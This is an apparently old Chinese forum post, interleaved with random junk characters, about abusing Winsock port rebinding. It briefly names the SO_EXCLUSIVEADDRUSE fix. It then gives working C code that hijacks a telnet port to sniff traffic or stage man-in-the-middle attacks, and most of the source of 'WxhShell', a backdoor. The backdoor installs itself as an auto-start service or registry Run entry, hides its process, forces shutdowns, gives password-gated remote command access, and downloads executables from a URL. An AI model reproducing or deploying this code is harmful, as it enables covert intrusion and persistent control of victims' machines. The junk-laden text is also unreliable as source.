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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  q0Rd^c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }q0lbwYlb  
f@@2@# 5B  
  saddr.sin_family = AF_INET; ('1k%`R%  
Efo,5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~_vzss3-C  
z:PH _N~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `? ayc/TK  
8ut:cCrmg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z0ULB? *"  
NXhQdf  
  这意味着什么?意味着可以进行如下的攻击: Zkn$D:  
iy&*5U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <a>\.d9#)7  
$,+'|_0yM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b}P5*}$:9"  
cp|&&q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5fGUJ[F=  
@D.]PZf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1iOQ8hD  
MZ_+doN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I W_:nm6  
[E_+fT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~r~~0|=  
)IIQ{SwQq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '8g/^Y@  
k:(i sKIA  
  #include d\nBc6  
  #include D}Jhg`9  
  #include W!a~ #R/r-  
  #include    !*8x>,/>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s }P-4Sg  
  int main() A=X2zm>9  
  { .hh 2II  
  WORD wVersionRequested; )3i}(h0  
  DWORD ret; >-0b@ +j  
  WSADATA wsaData; I+ipTeB^  
  BOOL val; ,z}wR::%  
  SOCKADDR_IN saddr; g*9jPwdG  
  SOCKADDR_IN scaddr; f3h&K}x  
  int err; \R& 4Nu2F  
  SOCKET s; 8.e k_ r  
  SOCKET sc; iR-MuDM  
  int caddsize; q9n0bw^N  
  HANDLE mt; 51oZ w%os=  
  DWORD tid;   5BKmp-m  
  wVersionRequested = MAKEWORD( 2, 2 ); nU"V@_?\  
  err = WSAStartup( wVersionRequested, &wsaData ); ailje  
  if ( err != 0 ) { dvUBuY^[  
  printf("error!WSAStartup failed!\n"); 0 `X%&  
  return -1; + ~ro*{3  
  } $q}}w||e~0  
  saddr.sin_family = AF_INET; ? C2 bA5 M  
   x/$s:[0B#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _`!@  
Fjc+{;x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \6B,\l]$t@  
  saddr.sin_port = htons(23); @Kri)U i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mfu >j,7l  
  { g;(r@>U.r  
  printf("error!socket failed!\n"); )2X ng_,  
  return -1; SM:SxhrGt  
  } fTi,S)F'  
  val = TRUE; Xq&x<td  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HF-Msu6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t`{^gt  
  { 3Lwl~h!  
  printf("error!setsockopt failed!\n"); dG{`Jk  
  return -1; fM]McZ9)D  
  } ki6`d?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xh> /bU!>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "m]"%MU7 8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zO>N3pMv  
eafy5vN[zX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t#|E.G:=  
  { d#T8|#O"  
  ret=GetLastError(); n<:/ X tE  
  printf("error!bind failed!\n"); #)%N+Odnr  
  return -1; ypXKw7f(  
  } N}\Da: _  
  listen(s,2); v>Il #  
  while(1) |dNtM^  
  { iL1.R+  
  caddsize = sizeof(scaddr); MBCA%3z08  
  //接受连接请求 h Ia{s)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5=Bj?xb$'  
  if(sc!=INVALID_SOCKET) w <]7:/  
  { 0_bt*.w I+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5|1&s3/f  
  if(mt==NULL) X|L8s$>  
  { z]>aWH}$  
  printf("Thread Creat Failed!\n"); 8xmw-s)  
  break; #&">x7?5  
  } yz-IZt(  
  } k>{i_`*  
  CloseHandle(mt); ( DwIAO/S  
  } q{f%U.  
  closesocket(s); s<qSelj  
  WSACleanup(); mM~!68lR  
  return 0; 7|6tH@4Ub  
  }   w_^&X;0^  
  DWORD WINAPI ClientThread(LPVOID lpParam) _u}v(!PI  
  { (7 Mn%Jp  
  SOCKET ss = (SOCKET)lpParam; .Gl&K|/{j  
  SOCKET sc; qce#  
  unsigned char buf[4096]; 8 Oeg"d  
  SOCKADDR_IN saddr; k=Ef)'  
  long num; lg;Y}?P  
  DWORD val; \E.t=XBn  
  DWORD ret; 14\%2nE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .]ZM2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i`r,B`V`08  
  saddr.sin_family = AF_INET; mU_?}}aK,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M@Q=!!tQ(  
  saddr.sin_port = htons(23); CzzG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +nd'Uf   
  { &+`l $h  
  printf("error!socket failed!\n"); NpD}7t<EF  
  return -1; GT%V,OJ  
  } S^)r,cC  
  val = 100; <E@ 7CG.=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CV4V_G  
  { zx(j6  
  ret = GetLastError(); Kggf!\MR8  
  return -1; 1:7>Em<s  
  } nA F@47Wo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v\-"NHl  
  { C?rL>_+71  
  ret = GetLastError(); '*>LZo4  
  return -1; Beqhe\{  
  } mkBQX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j %TYyL-  
  { ^yK94U;<Gy  
  printf("error!socket connect failed!\n"); .EloBP  
  closesocket(sc); ^&&dO*0{  
  closesocket(ss); g) v"nNS  
  return -1; n{BC m %  
  } NG'VlT  
  while(1) ErESk"2t  
  { EFql g9bK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?xQ lX%&`6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *BXtE8 BU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F:pXdU-xf  
  num = recv(ss,buf,4096,0); 6xL=JSi~  
  if(num>0) 0y;&L63>T  
  send(sc,buf,num,0); #j-,#P@  
  else if(num==0) 2+=|!+f  
  break; HC{|D>x.  
  num = recv(sc,buf,4096,0); sQJM 4'8f  
  if(num>0) qsvUJU  
  send(ss,buf,num,0); *~!xeL  
  else if(num==0) +ZRsa`'^  
  break; MP}H 5  
  } 18[f_0@ #  
  closesocket(ss); f=K1ZD  
  closesocket(sc); :VN<,1s9p^  
  return 0 ; Od&M^;BQ  
  } WKah$l  
MCh8Q|Yx4  
8~HC0o\2  
========================================================== ]nX.zE|F  
>.{ ..~"K  
下边附上一个代码,,WXhSHELL =AD/5E,3  
%4 SREq  
========================================================== v9inBBC q  
_D,8`na>K  
#include "stdafx.h" (la<X <w  
sx]?^KR:  
#include <stdio.h> uTl:u  
#include <string.h> do[K-r  
#include <windows.h> CCEx>*E6c  
#include <winsock2.h> ^OBaVb  
#include <winsvc.h> c4-&I"z  
#include <urlmon.h> On'3K+(_  
s=%HTfw  
#pragma comment (lib, "Ws2_32.lib") fykN\b  
#pragma comment (lib, "urlmon.lib") x *qef_Hu  
xh-[]Jz(  
#define MAX_USER   100 // 最大客户端连接数 s`#hk^{  
#define BUF_SOCK   200 // sock buffer :/~vaCZ  
#define KEY_BUFF   255 // 输入 buffer w:Lu  
_23sIUN c3  
#define REBOOT     0   // 重启 "~V}MPt  
#define SHUTDOWN   1   // 关机 B4|`Z'U#;  
Q|ik\  
#define DEF_PORT   5000 // 监听端口 UkqLLzL  
rM?D7a{q  
#define REG_LEN     16   // 注册表键长度 mCz6&  
#define SVC_LEN     80   // NT服务名长度 +XpRkX&-  
7_K(x mK  
// 从dll定义API tjd"05"@:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pM46I"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !r LHPg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N\uQ-XOi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ec\x;li! *  
.oK7E(QJ  
// wxhshell配置信息 \s+MHa&  
struct WSCFG { Q5<vK{  
  int ws_port;         // 监听端口 ~zm/n,Epb  
  char ws_passstr[REG_LEN]; // 口令 lwY{rWo  
  int ws_autoins;       // 安装标记, 1=yes 0=no z=K5~nU  
  char ws_regname[REG_LEN]; // 注册表键名 i*^K)SI8  
  char ws_svcname[REG_LEN]; // 服务名 RChY+3,L)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LqUvEq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3FXMM&w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gx6&'${=#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xlwsZm{V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'I<j`)4`d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eAuJ}U[  
'D/AL\1{p(  
}; +.N;h-'  
4z*_,@OA  
// default Wxhshell configuration @[FFYVru  
struct WSCFG wscfg={DEF_PORT, UpIf t=@P  
    "xuhuanlingzhe", u}:O[DG  
    1, XBY"7}  
    "Wxhshell", h7y*2:l6  
    "Wxhshell", YSwD#jO0  
            "WxhShell Service", =#^dG ''*"  
    "Wrsky Windows CmdShell Service", 0sUc6_>e  
    "Please Input Your Password: ", <Z__Q  
  1, rL s6MY  
  "http://www.wrsky.com/wxhshell.exe", B_&PK7vA  
  "Wxhshell.exe" 9<M$j x)  
    }; uc<@ Fh(  
p!a%*LfND  
// 消息定义模块 xsTxc&0^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; As\5Ze9|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c:6w >:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qnS7z%H8  
char *msg_ws_ext="\n\rExit."; IY19G U9  
char *msg_ws_end="\n\rQuit."; Kulg84<AwM  
char *msg_ws_boot="\n\rReboot..."; B.G!7>=  
char *msg_ws_poff="\n\rShutdown..."; f2u2Ns0Ym  
char *msg_ws_down="\n\rSave to "; \\lC"Z#J`  
R:xmcUq} (  
char *msg_ws_err="\n\rErr!"; *Vc=]Z2G^  
char *msg_ws_ok="\n\rOK!"; Kje+Niz7  
-J30g\  
char ExeFile[MAX_PATH]; FG H>;H@  
int nUser = 0; M/DTD98'N  
HANDLE handles[MAX_USER]; :3t])mL#   
int OsIsNt; h0eo:Ahi  
m2! 7M%]GC  
SERVICE_STATUS       serviceStatus; TkBBHg;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y2U:( H:l!  
kb:C>Y8!sC  
// 函数声明 bn`zI~WS  
int Install(void); RnrM rOh  
int Uninstall(void); 1v4kN -  
int DownloadFile(char *sURL, SOCKET wsh); wtUG2 (  
int Boot(int flag); OL'=a|g|c  
void HideProc(void); L%0lX$2&\  
int GetOsVer(void); OKqpc;y:D  
int Wxhshell(SOCKET wsl); 0?7uqS#L  
void TalkWithClient(void *cs); LF~#4)B  
int CmdShell(SOCKET sock); sZH7 EK  
int StartFromService(void); ~"mZ0 E  
int StartWxhshell(LPSTR lpCmdLine); II8nz[s  
9y4rw]4zI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (=/F=,w   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (FaT{W{  
H_j<%VW  
// 数据结构和表定义 _+N^yw,r*  
SERVICE_TABLE_ENTRY DispatchTable[] = Pc7: hu  
{ p~.@8r(  
{wscfg.ws_svcname, NTServiceMain}, 1IV 0a  
{NULL, NULL} f UIs(}US  
}; KR}0(,Y  
'O`3FI  
// 自我安装 7&3URglsL"  
int Install(void) nX~MoWH1  
{ -!0LIr:"  
  char svExeFile[MAX_PATH]; vxeT[/6i  
  HKEY key; LasH[:QQQ  
  strcpy(svExeFile,ExeFile); r$F]e]Ic\  
p.9v<I%0  
// 如果是win9x系统,修改注册表设为自启动 y]l"u=$Tr{  
if(!OsIsNt) { <J)A_Kx[57  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2mUu3fZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _}&]`,s>  
  RegCloseKey(key); C6VoOT )\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *r`Yz}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9^='&U9sr  
  RegCloseKey(key); MuobMD}jqe  
  return 0; R`Lm"5w  
    } p*0Ve21i,  
  } #CPPdU$  
} E(tBN]W.  
else { )sf~l6  
'y?|shV{]  
// 如果是NT以上系统,安装为系统服务 Uot-@|l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .=yus[,~  
if (schSCManager!=0) 8zC k9&  
{ Q:gn>/  
  SC_HANDLE schService = CreateService }$U[5wL,_  
  ( 'j_H{kQy  
  schSCManager, mr!I}I7x&x  
  wscfg.ws_svcname, *d@Hnu"q  
  wscfg.ws_svcdisp, mM} Ukmy  
  SERVICE_ALL_ACCESS, |T_Pz& -  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @vYmkF`  
  SERVICE_AUTO_START, 'pY;]^M  
  SERVICE_ERROR_NORMAL, 0s|LK  
  svExeFile, -;\+uV  
  NULL, rk/ c  
  NULL, EYxRw  
  NULL, 5}xni  
  NULL, pq3  A%|  
  NULL wzPw; xuG  
  ); pRvs;klf  
  if (schService!=0) ;8i L,^.A  
  { ~ n^G<iXLp  
  CloseServiceHandle(schService); io{H$  x(  
  CloseServiceHandle(schSCManager); R2aK5~   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &a_kJ)J  
  strcat(svExeFile,wscfg.ws_svcname); m@.{zW7bO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @$P!#z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jyci}CU3\Q  
  RegCloseKey(key); 7V{"!V5  
  return 0; 6I.mc  
    } n[Iu!v\/*  
  } 3Jm'q,TC  
  CloseServiceHandle(schSCManager); n2 mw@Ay!  
} ox_h9=$-  
} %^=!s  
ocqB-C]  
return 1; Tud1xq  
} g>xUS_d>  
'$XHRS/q]  
// 自我卸载 J,G9m4Z7  
int Uninstall(void) {7Avba  
{ P! Ed  
  HKEY key; RVnyl`s  
h+3Z.WKhwP  
if(!OsIsNt) { YC&jKx.>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g0j4<\F2\  
  RegDeleteValue(key,wscfg.ws_regname); Om2X>/V%C  
  RegCloseKey(key); _P<lG[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KWJgW{{v  
  RegDeleteValue(key,wscfg.ws_regname); C9U {^  
  RegCloseKey(key); +;*(a3Gp  
  return 0; OawrS{  
  } Z 'NbHwW}  
} N>fYH.c3Y  
} r!$NZ2I  
else { 'e>sHL  
k!/ _/^{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V$<G)dwUG5  
if (schSCManager!=0) o9LD6$  
{ I?Jii8|W9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /QXs-T}d  
  if (schService!=0) pR6A#DgB  
  { '}+X,Usm  
  if(DeleteService(schService)!=0) { LAY)">*49H  
  CloseServiceHandle(schService); Q^Z<RA(C  
  CloseServiceHandle(schSCManager); ?>.g;3E$  
  return 0; 9LEilmPs  
  } |5IY`;+9  
  CloseServiceHandle(schService); )~.&bEm\  
  } W,/C?qFp  
  CloseServiceHandle(schSCManager); o`K^Wy~+k#  
} 6eUiI@J  
} kE_@5t7O{  
Sd\IGy{a  
return 1; K-EI?6`xM  
} @yn^6cE  
4 ?@uF[  
// 从指定url下载文件 5Vqmv<F;$Z  
int DownloadFile(char *sURL, SOCKET wsh) *[xNp[4EU  
{ ;WS7.  
  HRESULT hr; QR5,_wJ&  
char seps[]= "/"; Iwt2}E(e  
char *token; @b!R2Yq  
char *file; "dK|]w8  
char myURL[MAX_PATH]; y/}VtD  
char myFILE[MAX_PATH]; c_z/At;4  
{|5$1v   
strcpy(myURL,sURL); ?]\W8)  
  token=strtok(myURL,seps); < k+fKl  
  while(token!=NULL) e.}3OK  
  { CS;W)F  
    file=token; K_&c5(-(_  
  token=strtok(NULL,seps); A:.IBctsd  
  } YoF\ MT]W  
1>@]@ST[:  
GetCurrentDirectory(MAX_PATH,myFILE); 38U5^`  
strcat(myFILE, "\\"); \Qi#'c$5+a  
strcat(myFILE, file); [  t  
  send(wsh,myFILE,strlen(myFILE),0); |.8d,!5w}  
send(wsh,"...",3,0); kg?T$}O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 11B{gUv.]  
  if(hr==S_OK) ll(e,9.D  
return 0;  mF*?e/  
else /h7>Z9T  
return 1; Y*kh$E%<#  
qXU:A-IdIl  
} Pv7f _hw  
-y l4tW  
// 系统电源模块 KO-Zz&2f  
int Boot(int flag) z[5Y Z~}*  
{ -; us12SZ  
  HANDLE hToken; P^b:?%  
  TOKEN_PRIVILEGES tkp; yul<n>X|  
0r0\b*r  
  if(OsIsNt) { <t[Z9s$n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W>?f^C!+m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F8uRT&m B0  
    tkp.PrivilegeCount = 1; [>$\s=` h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . QQ?w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zL)1^[%O9  
if(flag==REBOOT) { -t%{"y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Iuu<2#gb8"  
  return 0; 4T==A#Z  
} uG=t?C6  
else { ^ J#?hHz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 ^02fy  
  return 0; FI?gT  
} %Ye)8+-  
  } b:FEp'ZS  
  else { yfM>8"h@  
if(flag==REBOOT) { `'xQ6Sy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B?$01?9V  
  return 0; yD3bl%uZ  
} ,30FGz^i  
else { #.E\,N'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uh3wj|0  
  return 0; B_SZ?o  
} @tr&R==([  
} |TB@@ 2Ky&  
%w'/n>]j  
return 1; xta}4:d-Y  
} X+dR<GN+YX  
;g: UE  
// win9x进程隐藏模块 l~]hGLviJE  
void HideProc(void) [Krm .)  
{ t4f (Y,v  
<CZI7]PM7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >W`S(a Mn  
  if ( hKernel != NULL ) <=;H[} e  
  { w8 ?Pb$Fe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $i,6B9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DO7- =74=  
    FreeLibrary(hKernel); /*u#Ba<<  
  } J6)efX)j-p  
<X:Ud&\  
return; E fP>O  
} 9GMH*=3[=  
hH <6E  
// 获取操作系统版本 94~"U5oQ:  
int GetOsVer(void) 0hrCG3k.91  
{ 0V<Aub[${  
  OSVERSIONINFO winfo; x r-;,W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _7Xd|\Zc  
  GetVersionEx(&winfo); z $9@j2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t[]['Iosd  
  return 1; `Mg8]H~  
  else cJxW;WI!,  
  return 0; d{QMST2&  
} &_"ORqn&  
SX1X< 9  
// 客户端句柄模块 vC)"*wYB{  
int Wxhshell(SOCKET wsl) X}zX`]:I'  
{ Pv< QjY  
  SOCKET wsh; M0cd-Dn  
  struct sockaddr_in client; TA Ftcs:  
  DWORD myID; ~gu=x&{  
I*^5'N'  
  while(nUser<MAX_USER) 44\!PYf7  
{ C:]/8l  
  int nSize=sizeof(client); lbQ6 a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1i4WWK7k  
  if(wsh==INVALID_SOCKET) return 1; ;$vLq&(}  
x1t{SQ-C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "/Y<G  
if(handles[nUser]==0) j_!bT!8  
  closesocket(wsh); ;c1relR2  
else LMAmpVo  
  nUser++; 4F}Pu<;  
  } (V$Zc0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9 0X?1  
HwB {8S?sm  
  return 0; znt)]>f#  
} ?F ce!J  
k) "ao2iXL  
// 关闭 socket 9z #P  
void CloseIt(SOCKET wsh) J5O.*&  
{ ID)^vwn  
closesocket(wsh); gh TcB  
nUser--; qv *3A?uzr  
ExitThread(0); 24/ /21m  
} XAkK:}h  
wAw42{M  
// 客户端请求句柄 8h@q  
void TalkWithClient(void *cs) },rav]  
{ 3FFaEl  
(@+h5@J[`I  
  SOCKET wsh=(SOCKET)cs; 1hR (N  
  char pwd[SVC_LEN]; OFL|RLiD  
  char cmd[KEY_BUFF]; -^yXLa;D  
char chr[1]; $50\" mo~z  
int i,j; cC' ~  
/dLA`=rZx  
  while (nUser < MAX_USER) { $ K})Q3FNi  
d]8_l1O  
if(wscfg.ws_passstr) { K]X` sH:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yk<VlS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ pj>9%  
  //ZeroMemory(pwd,KEY_BUFF); qB:AkMd&  
      i=0; tmp6hB  
  while(i<SVC_LEN) { bMsECA&  
8q0I:SJy  
  // 设置超时 ~F;CE"3A  
  fd_set FdRead; ?KCivf  
  struct timeval TimeOut; {J2#eiF  
  FD_ZERO(&FdRead); Zb."*zL  
  FD_SET(wsh,&FdRead); U 2bzUxK  
  TimeOut.tv_sec=8; .l \r9I(  
  TimeOut.tv_usec=0; $ADPV,*gG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {=3B)+N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (%bE~Q2P*<  
w#&z]O9r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); COSTV>s;  
  pwd=chr[0]; FY8!g'.Oe  
  if(chr[0]==0xd || chr[0]==0xa) { b vRB  
  pwd=0; gY!N3 *:  
  break; L=RGL+f1 _  
  } f3G1r5x  
  i++; %%&e"&7HE  
    } z$|;-u|  
B52yaG8C  
  // 如果是非法用户,关闭 socket @T ysXx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )\>r-g$  
} je,c7ZFO  
+Qs!Nhsq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TiyUr [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m2(E>raV6  
T6uMFD4 |  
while(1) { <4c%Q)  
pA.._8(t  
  ZeroMemory(cmd,KEY_BUFF); qp>N^)>  
4d`+CD C  
      // 自动支持客户端 telnet标准   +"8}R~`!  
  j=0; yAG+] r  
  while(j<KEY_BUFF) { d`Oe_<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [/cIUQ  
  cmd[j]=chr[0]; .xl.P7@JJ  
  if(chr[0]==0xa || chr[0]==0xd) { +Rqbf  
  cmd[j]=0; T#@{G,N  
  break; H@D;e  
  } @r<b:?u  
  j++; =WK04\H  
    } e[{mVhg4E  
hbI;Hd  
  // 下载文件 DtI$9`~  
  if(strstr(cmd,"http://")) { 9 Kbw GmSU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2JZdw  
  if(DownloadFile(cmd,wsh)) g*y/j]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]=8eV\  
  else v L}T~_=3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tuLH}tkNY  
  } u1^\MVO8  
  else { ?YBaO,G9o  
]g,lRG  
    switch(cmd[0]) { J\=a gQ  
  Xwq]f :@V  
  // 帮助 j;\[pg MR/  
  case '?': { d>|;f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q@l(Qol  
    break; m[:K"lZ ]2  
  } ]-:6T0JuS  
  // 安装 s8vKKvs`9  
  case 'i': { _Yq@FOu  
    if(Install()) u,o1{% O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ie.|4k  
    else *5D3vB*S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c -B/~&  
    break; oa`#RC8N  
    } {DwIjy31T  
  // 卸载 m#\[m<F  
  case 'r': { VEs5;]#<2D  
    if(Uninstall()) G\=_e8(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kkv<"^H  
    else g^l RG3a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >zngJ$  
    break; c}-(.eu  
    } P!e=b-T  
  // 显示 wxhshell 所在路径 m Ni2b*k  
  case 'p': { SK R1E];4  
    char svExeFile[MAX_PATH]; %e? fH.)  
    strcpy(svExeFile,"\n\r"); Td hTQ  
      strcat(svExeFile,ExeFile); 0<.R A%dj  
        send(wsh,svExeFile,strlen(svExeFile),0); "0Q1qZ  
    break; O/b+CSS1  
    } C:i|-te  
  // 重启 @i LIU}+  
  case 'b': { +,5-qm)Gh>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % frfSGf.#  
    if(Boot(REBOOT)) HB iBv-=,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ho.(v;  
    else { a#[-*ou`  
    closesocket(wsh); 3FNT|QF  
    ExitThread(0); |=K_F3aJ  
    } "2{%JFE  
    break; I ~$1Lu`~  
    } 4W;S=#1  
  // 关机 (Rd$VYuf  
  case 'd': { gzdG6"  
